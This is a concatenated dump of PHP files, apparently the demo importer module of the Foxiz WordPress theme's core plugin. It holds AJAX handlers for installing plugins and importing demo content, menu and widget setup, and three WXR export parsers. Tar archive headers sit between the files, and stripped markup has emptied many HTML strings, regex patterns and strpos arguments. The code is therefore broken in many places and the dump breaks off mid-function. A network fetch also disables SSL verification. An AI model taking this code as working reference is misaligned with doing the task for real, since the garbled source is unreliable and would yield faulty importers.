install_package() { if ( ! current_user_can( 'install_plugins' ) ) { die( 0 ); } if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['slug'] ) || ! isset ( $_REQUEST['package'] ) ) { die( 0 ); } $package = base64_decode( $_REQUEST['package'] ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $url = add_query_arg( array( 'action' => 'upload-plugin', 'plugin' => urlencode( sanitize_text_field( $_REQUEST['slug'] ) ), ), 'update.php' ); $skin_args = array( 'type' => 'upload', 'title' => '', 'url' => esc_url_raw( $url ), ); $skin = new Plugin_Installer_Skin( $skin_args ); $upgrader = new Plugin_Upgrader( $skin ); $upgrader->install( $package ); die(); } /** importer */ public function importer() { $this->load(); if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['directory'] ) ) { die( 0 ); } $demos = $this->get_demos(); $directory = sanitize_text_field( $_REQUEST['directory'] ); $import_all = sanitize_text_field( $_REQUEST['import_all'] ); $import_content = sanitize_text_field( $_REQUEST['import_content'] ); $import_pages = sanitize_text_field( $_REQUEST['import_pages'] ); $import_opts = sanitize_text_field( $_REQUEST['import_opts'] ); $import_widgets = sanitize_text_field( $_REQUEST['import_widgets'] ); if ( ! isset( $demos[ $directory ] ) ) { wp_die( esc_html__( 'Not found!', 'foxiz-core' ) ); } $demo = $demos[ $directory ]; $data = array( 'directory' => $directory, 'theme_option_name' => $this->register_tos_id(), 'import_all' => $import_all, 'import_content' => $import_content, 'import_pages' => $import_pages, 'import_opts' => $import_opts, 'import_widgets' => $import_widgets, ); if ( isset( $demo['content'] ) ) { $data['content'] = $demo['content']; } if ( isset( $demo['pages'] ) ) { $data['pages'] = $demo['pages']; } if ( isset( $demo['theme_options'] ) ) { $data['theme_options'] = $demo['theme_options']; } if ( isset( $demo['categories'] ) ) { $data['categories'] = $demo['categories']; } if ( isset( $demo['widgets'] ) ) { $data['widgets'] = $demo['widgets']; } $this->before_import(); new RB_INIT_IMPORTER( $data ); } /** import progress */ public function before_import() { delete_option( 'rb_import_progress' ); add_action( 'wp_import_posts', array( $this, 'import_progress_setup' ) ); add_action( 'add_attachment', array( $this, 'update_progress' ) ); add_action( 'edit_attachment', array( $this, 'update_progress' ) ); add_action( 'wp_insert_post', array( $this, 'update_progress' ) ); add_filter( 'wp_import_post_data_raw', array( $this, 'check_post' ) ); } public function import_progress_setup( $posts ) { $progress_array = array( 'total_post' => count( $posts ), 'imported_count' => 0, 'remaining' => count( $posts ) ); update_option( 'rb_import_progress', $progress_array ); return $posts; } /** update progress */ public function update_progress() { $post_count = get_option( 'rb_import_progress' ); if ( is_array( $post_count ) ) { if ( $post_count['remaining'] > 0 ) { $post_count['remaining'] = $post_count['remaining'] - 1; $post_count['imported_count'] = $post_count['imported_count'] + 1; update_option( 'rb_import_progress', $post_count ); } else { $post_count['remaining'] = 0; $post_count['imported_count'] = $post_count['total_post']; update_option( 'rb_import_progress', $post_count ); } } } /** check posts */ public function check_post( $post ) { if ( ! post_type_exists( $post['post_type'] ) ) { $this->update_progress(); return $post; } if ( $post['status'] == 'auto-draft' ) { $this->update_progress(); return $post; } if ( 'nav_menu_item' == $post['post_type'] ) { $this->update_progress(); return $post; } $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { $this->update_progress(); return $post; } return $post; } /** * get_progress */ public function get_progress() { $progress = get_option( 'rb_import_progress' ); wp_send_json( $progress ); die(); } /** * @param string $directory */ function after_import_content( $directory = '' ) { $demos = $this->get_demos(); if ( ! empty( $demos[ $directory ]['homepage'] ) ) { $page = get_page_by_title( $demos[ $directory ]['homepage'] ); if ( ! empty( $page->ID ) ) { update_option( 'page_on_front', $page->ID ); update_option( 'show_on_front', 'page' ); $blog = get_page_by_title( 'Blog' ); if ( ! empty( $blog->ID ) ) { update_option( 'page_for_posts', $blog->ID ); } } else { update_option( 'page_on_front', 0 ); update_option( 'show_on_front', 'posts' ); } } /** setup WC */ if ( class_exists( 'WC_Install' ) ) { WC_Install::create_pages(); } /** setup menu */ $main_menu = get_term_by( 'name', 'main', 'nav_menu' ); $mobile_menu = get_term_by( 'name', 'mobile', 'nav_menu' ); $quick_menu = get_term_by( 'name', 'mobile-quick-access', 'nav_menu' ); $menu_locations = array(); if ( isset( $main_menu->term_id ) ) { $menu_locations['foxiz_main'] = $main_menu->term_id; } if ( isset( $mobile_menu->term_id ) ) { $menu_locations['foxiz_mobile'] = $mobile_menu->term_id; } if ( isset( $quick_menu->term_id ) ) { $menu_locations['foxiz_mobile_quick'] = $quick_menu->term_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } function register_demo_widgets() { /** empty sidebars */ $sidebars_widgets['foxiz_sidebar_default'] = array(); $sidebars_widgets['foxiz_sidebar_more'] = array(); $sidebars_widgets['foxiz_sidebar_fw_footer'] = array(); $sidebars_widgets['foxiz_sidebar_footer_1'] = array(); $sidebars_widgets['foxiz_sidebar_footer_2'] = array(); $sidebars_widgets['foxiz_sidebar_footer_3'] = array(); $sidebars_widgets['foxiz_sidebar_footer_4'] = array(); $sidebars_widgets['foxiz_sidebar_footer_5'] = array(); $sidebars_widgets['foxiz_entry_top'] = array(); $sidebars_widgets['foxiz_entry_bottom'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb1'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb2'] = array(); $sidebars_widgets['foxiz_sidebar_multi_next-posts'] = array(); $sidebars_widgets['foxiz_sidebar_multi_single'] = array(); $sidebars_widgets['foxiz_sidebar_multi_blog'] = array(); $sidebars_widgets['foxiz_sidebar_multi_contact'] = array(); /** add sidebars */ $theme_options = get_option( 'foxiz_theme_options' ); $theme_options['multi_sidebars'] = array( 'sb1', 'sb2', 'next-posts', 'single', 'blog', 'contact' ); update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( FOXIZ_TOS_ID, $theme_options ); /** register sidebar to import */ register_sidebar( array( 'name' => 'More Menu Section', 'id' => 'foxiz_sidebar_more', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb1', 'id' => 'foxiz_sidebar_multi_sb1', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb2', 'id' => 'foxiz_sidebar_multi_sb2', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'next-posts', 'id' => 'foxiz_sidebar_multi_next-posts', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'single', 'id' => 'foxiz_sidebar_multi_single', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'contact', 'id' => 'foxiz_sidebar_multi_contact', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'blog', 'id' => 'foxiz_sidebar_multi_blog', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); return false; } /** remove duplicate menu */ function duplicate_menu() { $deleted_menus = array( 'main', 'mobile', 'mobile-quick-access', 'more-1', 'more-2', 'more-3', 'footer-1', 'footer-2', 'footer-3', 'footer-4', 'footer-5', 'quick-link', 'top-categories', 'advertise', 'footer-copyright', 'logged' ); foreach ( $deleted_menus as $menu ) { wp_delete_nav_menu( $menu ); } return false; } /** * remove cache */ public function remove_dynamic_style() { delete_option( 'foxiz_style_cache' ); } } } admin/import/demos/index.php000064400000000034147206624460012105 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/import/template.php000064400000011023147206624460011502 0ustar00

'.esc_html__( 'Sorry, you are not allowed to install demos on this site.', 'foxiz-core' ).'

' ); } if ( empty( $demos ) || ! is_array( $demos ) ) { wp_die( '

'.esc_html__('Something went wrong, Try to re-activate the theme again!', 'foxiz-core').'

'); }; $nonce = wp_create_nonce( 'rb-core' ); ?>

Importing theme demo, It will allow you to quickly edit everything instead of creating content from scratch. Please DO NOT navigate away from this page while the importer is processing. This may take up to 5 ~ 7 minutes, Depend on the server speed.

We do not have right to include some images of demos in the content due to copyright issue, so images will look different with the demo. The structures of demos will still be left intact so can use your own images in their places if you desire.

Import Tips:

- Refresh this page and re-import if the process cannot complete after 5 minutes.

- You can choose Only Pages, Widgets and Theme Options to import if you site already have data.

- Don't need to install or activate Recommended & Optional plugins if you don't want to use it.

- Install and activate Woocommerce plugin before importing if you would like setup shop.

- Online Documentation: http://help.themeruby.com/foxiz

$demo ) : if ( ! empty( $demo['imported'] ) && is_array( $demo['imported'] ) ) { $imported = true; $item_classes = 'rb-demo-item active is-imported'; $import_message = esc_html__( 'Already Imported', 'foxiz-core' ); } else { $item_classes = 'rb-demo-item not-imported'; $imported = false; $import_message = esc_html__( 'Import Demo', 'foxiz-core' ); } ?>
<?php esc_attr( $demo['name'] ); ?> 0%

admin/import/parts.php000064400000012264147206624460011030 0ustar00'; echo '

' . esc_html__( 'Select Content', 'foxiz-core' ) . '

'; echo ''; echo ''; } } if ( ! function_exists( 'rb_importer_plugins_form' ) ) { /** * @param $plugins * @param string $nonce */ function rb_importer_plugins_form( $plugins, $nonce = '' ) { $site_plugins = get_plugins(); $repo = 'https://wordpress.org/plugins/'; foreach ( $plugins as $plugin ) { if ( empty( $plugin['name'] ) || empty( $plugin['slug'] ) ) { continue; } $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } if ( empty( $plugin['file'] ) ) { $plugin_plug = $plugin['slug'] . '/' . $plugin['slug'] . '.php'; } else { $plugin_plug = $plugin['slug'] . '/' . $plugin['file'] . '.php'; } if ( array_key_exists( $plugin_plug, $site_plugins ) ) { /** plugin installed */ echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; if ( is_plugin_active( $plugin_plug ) ) { echo '' . esc_html__( 'Activated', 'foxiz-core' ) . ''; } else { $active_link = wp_nonce_url( admin_url( 'plugins.php?action=activate&plugin=' . $plugin_plug ), 'activate-plugin_' . $plugin_plug ); echo '' . esc_html__( 'Activate', 'foxiz-core' ) . ''; } echo '
'; } else { /** plugin not install */ if ( ! empty( $plugin['source'] ) ) { $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install Package', 'foxiz-importer' ) . ''; echo '
'; } else { $install_link = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin['slug'] ), admin_url( 'update.php' ) ), 'install-plugin' . '_' . $plugin['slug'] ); echo '
'; echo '' . esc_html( $plugin['name'] ) .''; if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install', 'foxiz-core' ) . ''; echo '
'; } } } } } admin/import/lib/parsers/class-wxr-parser-simplexml.php000064400000017731147206624460017355 0ustar00 600, 'sslverify' => false ) ) ); $body = wp_remote_retrieve_body( $response ); $success = $dom->loadXML( $body ); } // $success = $dom->loadXML( file_get_contents( $file ) ); if ( ! is_null( $old_value ) ) { libxml_disable_entity_loader( $old_value ); } if ( ! $success || isset( $dom->doctype ) ) { return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); } $xml = simplexml_import_dom( $dom ); unset( $dom ); // halt if loading produces an error if ( ! $xml ) return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); $wxr_version = $xml->xpath('/rss/channel/wp:wxr_version'); if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $wxr_version = (string) trim( $wxr_version[0] ); // confirm that we are dealing with the correct file format if ( ! preg_match( '/^\d+\.\d+$/', $wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $base_url = $xml->xpath('/rss/channel/wp:base_site_url'); $base_url = (string) trim( isset( $base_url[0] ) ? $base_url[0] : '' ); $base_blog_url = $xml->xpath('/rss/channel/wp:base_blog_url'); if ( $base_blog_url ) { $base_blog_url = (string) trim( $base_blog_url[0] ); } else { $base_blog_url = $base_url; } $namespaces = $xml->getDocNamespaces(); if ( ! isset( $namespaces['wp'] ) ) $namespaces['wp'] = 'http://wordpress.org/export/1.1/'; if ( ! isset( $namespaces['excerpt'] ) ) $namespaces['excerpt'] = 'http://wordpress.org/export/1.1/excerpt/'; // grab authors foreach ( $xml->xpath('/rss/channel/wp:author') as $author_arr ) { $a = $author_arr->children( $namespaces['wp'] ); $login = (string) $a->author_login; $authors[$login] = array( 'author_id' => (int) $a->author_id, 'author_login' => $login, 'author_email' => (string) $a->author_email, 'author_display_name' => (string) $a->author_display_name, 'author_first_name' => (string) $a->author_first_name, 'author_last_name' => (string) $a->author_last_name ); } // grab cats, tags and terms foreach ( $xml->xpath('/rss/channel/wp:category') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $category = array( 'term_id' => (int) $t->term_id, 'category_nicename' => (string) $t->category_nicename, 'category_parent' => (string) $t->category_parent, 'cat_name' => (string) $t->cat_name, 'category_description' => (string) $t->category_description ); foreach ( $t->termmeta as $meta ) { $category['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $categories[] = $category; } foreach ( $xml->xpath('/rss/channel/wp:tag') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $tag = array( 'term_id' => (int) $t->term_id, 'tag_slug' => (string) $t->tag_slug, 'tag_name' => (string) $t->tag_name, 'tag_description' => (string) $t->tag_description ); foreach ( $t->termmeta as $meta ) { $tag['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $tags[] = $tag; } foreach ( $xml->xpath('/rss/channel/wp:term') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $term = array( 'term_id' => (int) $t->term_id, 'term_taxonomy' => (string) $t->term_taxonomy, 'slug' => (string) $t->term_slug, 'term_parent' => (string) $t->term_parent, 'term_name' => (string) $t->term_name, 'term_description' => (string) $t->term_description ); foreach ( $t->termmeta as $meta ) { $term['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $terms[] = $term; } // grab posts foreach ( $xml->channel->item as $item ) { $post = array( 'post_title' => (string) $item->title, 'guid' => (string) $item->guid, ); $dc = $item->children( 'http://purl.org/dc/elements/1.1/' ); $post['post_author'] = (string) $dc->creator; $content = $item->children( 'http://purl.org/rss/1.0/modules/content/' ); $excerpt = $item->children( $namespaces['excerpt'] ); $post['post_content'] = (string) $content->encoded; $post['post_excerpt'] = (string) $excerpt->encoded; $wp = $item->children( $namespaces['wp'] ); $post['post_id'] = (int) $wp->post_id; $post['post_date'] = (string) $wp->post_date; $post['post_date_gmt'] = (string) $wp->post_date_gmt; $post['comment_status'] = (string) $wp->comment_status; $post['ping_status'] = (string) $wp->ping_status; $post['post_name'] = (string) $wp->post_name; $post['status'] = (string) $wp->status; $post['post_parent'] = (int) $wp->post_parent; $post['menu_order'] = (int) $wp->menu_order; $post['post_type'] = (string) $wp->post_type; $post['post_password'] = (string) $wp->post_password; $post['is_sticky'] = (int) $wp->is_sticky; if ( isset($wp->attachment_url) ) $post['attachment_url'] = (string) $wp->attachment_url; foreach ( $item->category as $c ) { $att = $c->attributes(); if ( isset( $att['nicename'] ) ) $post['terms'][] = array( 'name' => (string) $c, 'slug' => (string) $att['nicename'], 'domain' => (string) $att['domain'] ); } foreach ( $wp->postmeta as $meta ) { $post['postmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } foreach ( $wp->comment as $comment ) { $meta = array(); if ( isset( $comment->commentmeta ) ) { foreach ( $comment->commentmeta as $m ) { $meta[] = array( 'key' => (string) $m->meta_key, 'value' => (string) $m->meta_value ); } } $post['comments'][] = array( 'comment_id' => (int) $comment->comment_id, 'comment_author' => (string) $comment->comment_author, 'comment_author_email' => (string) $comment->comment_author_email, 'comment_author_IP' => (string) $comment->comment_author_IP, 'comment_author_url' => (string) $comment->comment_author_url, 'comment_date' => (string) $comment->comment_date, 'comment_date_gmt' => (string) $comment->comment_date_gmt, 'comment_content' => (string) $comment->comment_content, 'comment_approved' => (string) $comment->comment_approved, 'comment_type' => (string) $comment->comment_type, 'comment_parent' => (string) $comment->comment_parent, 'comment_user_id' => (int) $comment->comment_user_id, 'commentmeta' => $meta, ); } $posts[] = $post; } return array( 'authors' => $authors, 'posts' => $posts, 'categories' => $categories, 'tags' => $tags, 'terms' => $terms, 'base_url' => $base_url, 'base_blog_url' => $base_blog_url, 'version' => $wxr_version ); } } admin/import/lib/parsers/class-wxr-parser-xml.php000064400000013442147206624460016136 0ustar00wxr_version = $this->in_post = $this->cdata = $this->data = $this->sub_data = $this->in_tag = $this->in_sub_tag = false; $this->authors = $this->posts = $this->term = $this->category = $this->tag = array(); $xml = xml_parser_create( 'UTF-8' ); xml_parser_set_option( $xml, XML_OPTION_SKIP_WHITE, 1 ); xml_parser_set_option( $xml, XML_OPTION_CASE_FOLDING, 0 ); xml_set_object( $xml, $this ); xml_set_character_data_handler( $xml, 'cdata' ); xml_set_element_handler( $xml, 'tag_open', 'tag_close' ); if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) { $current_line = xml_get_current_line_number( $xml ); $current_column = xml_get_current_column_number( $xml ); $error_code = xml_get_error_code( $xml ); $error_string = xml_error_string( $error_code ); return new WP_Error( 'XML_parse_error', 'There was an error when reading this WXR file', array( $current_line, $current_column, $error_string ) ); } xml_parser_free( $xml ); if ( ! preg_match( '/^\d+\.\d+$/', $this->wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->category, 'tags' => $this->tag, 'terms' => $this->term, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $this->wxr_version ); } function tag_open( $parse, $tag, $attr ) { if ( in_array( $tag, $this->wp_tags ) ) { $this->in_tag = substr( $tag, 3 ); return; } if ( in_array( $tag, $this->wp_sub_tags ) ) { $this->in_sub_tag = substr( $tag, 3 ); return; } switch ( $tag ) { case 'category': if ( isset($attr['domain'], $attr['nicename']) ) { $this->sub_data['domain'] = $attr['domain']; $this->sub_data['slug'] = $attr['nicename']; } break; case 'item': $this->in_post = true; case 'title': if ( $this->in_post ) $this->in_tag = 'post_title'; break; case 'guid': $this->in_tag = 'guid'; break; case 'dc:creator': $this->in_tag = 'post_author'; break; case 'content:encoded': $this->in_tag = 'post_content'; break; case 'excerpt:encoded': $this->in_tag = 'post_excerpt'; break; case 'wp:term_slug': $this->in_tag = 'slug'; break; case 'wp:meta_key': $this->in_sub_tag = 'key'; break; case 'wp:meta_value': $this->in_sub_tag = 'value'; break; } } function cdata( $parser, $cdata ) { if ( ! trim( $cdata ) ) return; if ( false !== $this->in_tag || false !== $this->in_sub_tag ) { $this->cdata .= $cdata; } else { $this->cdata .= trim( $cdata ); } } function tag_close( $parser, $tag ) { switch ( $tag ) { case 'wp:comment': unset( $this->sub_data['key'], $this->sub_data['value'] ); // remove meta sub_data if ( ! empty( $this->sub_data ) ) $this->data['comments'][] = $this->sub_data; $this->sub_data = false; break; case 'wp:commentmeta': $this->sub_data['commentmeta'][] = array( 'key' => $this->sub_data['key'], 'value' => $this->sub_data['value'] ); break; case 'category': if ( ! empty( $this->sub_data ) ) { $this->sub_data['name'] = $this->cdata; $this->data['terms'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:postmeta': if ( ! empty( $this->sub_data ) ) $this->data['postmeta'][] = $this->sub_data; $this->sub_data = false; break; case 'item': $this->posts[] = $this->data; $this->data = false; break; case 'wp:category': case 'wp:tag': case 'wp:term': $n = substr( $tag, 3 ); array_push( $this->$n, $this->data ); $this->data = false; break; case 'wp:termmeta': if ( ! empty( $this->sub_data ) ) { $this->data['termmeta'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:author': if ( ! empty($this->data['author_login']) ) $this->authors[$this->data['author_login']] = $this->data; $this->data = false; break; case 'wp:base_site_url': $this->base_url = $this->cdata; if ( ! isset( $this->base_blog_url ) ) { $this->base_blog_url = $this->cdata; } break; case 'wp:base_blog_url': $this->base_blog_url = $this->cdata; break; case 'wp:wxr_version': $this->wxr_version = $this->cdata; break; default: if ( $this->in_sub_tag ) { $this->sub_data[$this->in_sub_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_sub_tag = false; } else if ( $this->in_tag ) { $this->data[$this->in_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_tag = false; } } $this->cdata = false; } } admin/import/lib/parsers/class-wxr-parser-regex.php000064400000024751147206624460016455 0ustar00has_gzip = is_callable( 'gzopen' ); } function parse( $file ) { $wxr_version = $in_multiline = false; $multiline_content = ''; $multiline_tags = array( 'item' => array( 'posts', array( $this, 'process_post' ) ), 'wp:category' => array( 'categories', array( $this, 'process_category' ) ), 'wp:tag' => array( 'tags', array( $this, 'process_tag' ) ), 'wp:term' => array( 'terms', array( $this, 'process_term' ) ), ); $fp = $this->fopen( $file, 'r' ); if ( $fp ) { while ( ! $this->feof( $fp ) ) { $importline = rtrim( $this->fgets( $fp ) ); if ( ! $wxr_version && preg_match( '|(\d+\.\d+)|', $importline, $version ) ) $wxr_version = $version[1]; if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $url ); $this->base_url = $url[1]; continue; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $blog_url ); $this->base_blog_url = $blog_url[1]; continue; } else { $this->base_blog_url = $this->base_url; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $author ); $a = $this->process_author( $author[1] ); $this->authors[$a['author_login']] = $a; continue; } foreach ( $multiline_tags as $tag => $handler ) { // Handle multi-line tags on a singular line if ( preg_match( '|<' . $tag . '>(.*?)|is', $importline, $matches ) ) { $this->{$handler[0]}[] = call_user_func( $handler[1], $matches[1] ); } elseif ( false !== ( $pos = strpos( $importline, "<$tag>" ) ) ) { // Take note of any content after the opening tag $multiline_content = trim( substr( $importline, $pos + strlen( $tag ) + 2 ) ); // We don't want to have this line added to `$is_multiline` below. $importline = ''; $in_multiline = $tag; } elseif ( false !== ( $pos = strpos( $importline, "" ) ) ) { $in_multiline = false; $multiline_content .= trim( substr( $importline, 0, $pos ) ); $this->{$handler[0]}[] = call_user_func( $handler[1], $multiline_content ); } } if ( $in_multiline && $importline ) { $multiline_content .= $importline . "\n"; } } $this->fclose($fp); } if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->categories, 'tags' => $this->tags, 'terms' => $this->terms, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $wxr_version ); } function get_tag( $string, $tag ) { preg_match( "|<$tag.*?>(.*?)|is", $string, $return ); if ( isset( $return[1] ) ) { if ( substr( $return[1], 0, 9 ) == '' ) !== false ) { preg_match_all( '||s', $return[1], $matches ); $return = ''; foreach( $matches[1] as $match ) $return .= $match; } else { $return = preg_replace( '|^$|s', '$1', $return[1] ); } } else { $return = $return[1]; } } else { $return = ''; } return $return; } function process_category( $c ) { $term = array( 'term_id' => $this->get_tag( $c, 'wp:term_id' ), 'cat_name' => $this->get_tag( $c, 'wp:cat_name' ), 'category_nicename' => $this->get_tag( $c, 'wp:category_nicename' ), 'category_parent' => $this->get_tag( $c, 'wp:category_parent' ), 'category_description' => $this->get_tag( $c, 'wp:category_description' ), ); $term_meta = $this->process_meta( $c, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_tag( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'tag_name' => $this->get_tag( $t, 'wp:tag_name' ), 'tag_slug' => $this->get_tag( $t, 'wp:tag_slug' ), 'tag_description' => $this->get_tag( $t, 'wp:tag_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_term( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'term_taxonomy' => $this->get_tag( $t, 'wp:term_taxonomy' ), 'slug' => $this->get_tag( $t, 'wp:term_slug' ), 'term_parent' => $this->get_tag( $t, 'wp:term_parent' ), 'term_name' => $this->get_tag( $t, 'wp:term_name' ), 'term_description' => $this->get_tag( $t, 'wp:term_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_meta( $string, $tag ) { $parsed_meta = array(); preg_match_all( "|<$tag>(.+?)|is", $string, $meta ); if ( ! isset( $meta[1] ) ) { return $parsed_meta; } foreach ( $meta[1] as $m ) { $parsed_meta[] = array( 'key' => $this->get_tag( $m, 'wp:meta_key' ), 'value' => $this->get_tag( $m, 'wp:meta_value' ), ); } return $parsed_meta; } function process_author( $a ) { return array( 'author_id' => $this->get_tag( $a, 'wp:author_id' ), 'author_login' => $this->get_tag( $a, 'wp:author_login' ), 'author_email' => $this->get_tag( $a, 'wp:author_email' ), 'author_display_name' => $this->get_tag( $a, 'wp:author_display_name' ), 'author_first_name' => $this->get_tag( $a, 'wp:author_first_name' ), 'author_last_name' => $this->get_tag( $a, 'wp:author_last_name' ), ); } function process_post( $post ) { $post_id = $this->get_tag( $post, 'wp:post_id' ); $post_title = $this->get_tag( $post, 'title' ); $post_date = $this->get_tag( $post, 'wp:post_date' ); $post_date_gmt = $this->get_tag( $post, 'wp:post_date_gmt' ); $comment_status = $this->get_tag( $post, 'wp:comment_status' ); $ping_status = $this->get_tag( $post, 'wp:ping_status' ); $status = $this->get_tag( $post, 'wp:status' ); $post_name = $this->get_tag( $post, 'wp:post_name' ); $post_parent = $this->get_tag( $post, 'wp:post_parent' ); $menu_order = $this->get_tag( $post, 'wp:menu_order' ); $post_type = $this->get_tag( $post, 'wp:post_type' ); $post_password = $this->get_tag( $post, 'wp:post_password' ); $is_sticky = $this->get_tag( $post, 'wp:is_sticky' ); $guid = $this->get_tag( $post, 'guid' ); $post_author = $this->get_tag( $post, 'dc:creator' ); $post_excerpt = $this->get_tag( $post, 'excerpt:encoded' ); $post_excerpt = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_content = $this->get_tag( $post, 'content:encoded' ); $post_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content ); $post_content = str_replace( '
', '
', $post_content ); $post_content = str_replace( '
', '
', $post_content ); $postdata = compact( 'post_id', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password', 'is_sticky' ); $attachment_url = $this->get_tag( $post, 'wp:attachment_url' ); if ( $attachment_url ) $postdata['attachment_url'] = $attachment_url; preg_match_all( '|(.+?)|is', $post, $terms, PREG_SET_ORDER ); foreach ( $terms as $t ) { $post_terms[] = array( 'slug' => $t[2], 'domain' => $t[1], 'name' => str_replace( array( '' ), '', $t[3] ), ); } if ( ! empty( $post_terms ) ) $postdata['terms'] = $post_terms; preg_match_all( '|(.+?)|is', $post, $comments ); $comments = $comments[1]; if ( $comments ) { foreach ( $comments as $comment ) { $post_comments[] = array( 'comment_id' => $this->get_tag( $comment, 'wp:comment_id' ), 'comment_author' => $this->get_tag( $comment, 'wp:comment_author' ), 'comment_author_email' => $this->get_tag( $comment, 'wp:comment_author_email' ), 'comment_author_IP' => $this->get_tag( $comment, 'wp:comment_author_IP' ), 'comment_author_url' => $this->get_tag( $comment, 'wp:comment_author_url' ), 'comment_date' => $this->get_tag( $comment, 'wp:comment_date' ), 'comment_date_gmt' => $this->get_tag( $comment, 'wp:comment_date_gmt' ), 'comment_content' => $this->get_tag( $comment, 'wp:comment_content' ), 'comment_approved' => $this->get_tag( $comment, 'wp:comment_approved' ), 'comment_type' => $this->get_tag( $comment, 'wp:comment_type' ), 'comment_parent' => $this->get_tag( $comment, 'wp:comment_parent' ), 'comment_user_id' => $this->get_tag( $comment, 'wp:comment_user_id' ), 'commentmeta' => $this->process_meta( $comment, 'wp:commentmeta' ), ); } } if ( ! empty( $post_comments ) ) { $postdata['comments'] = $post_comments; } $post_meta = $this->process_meta( $post, 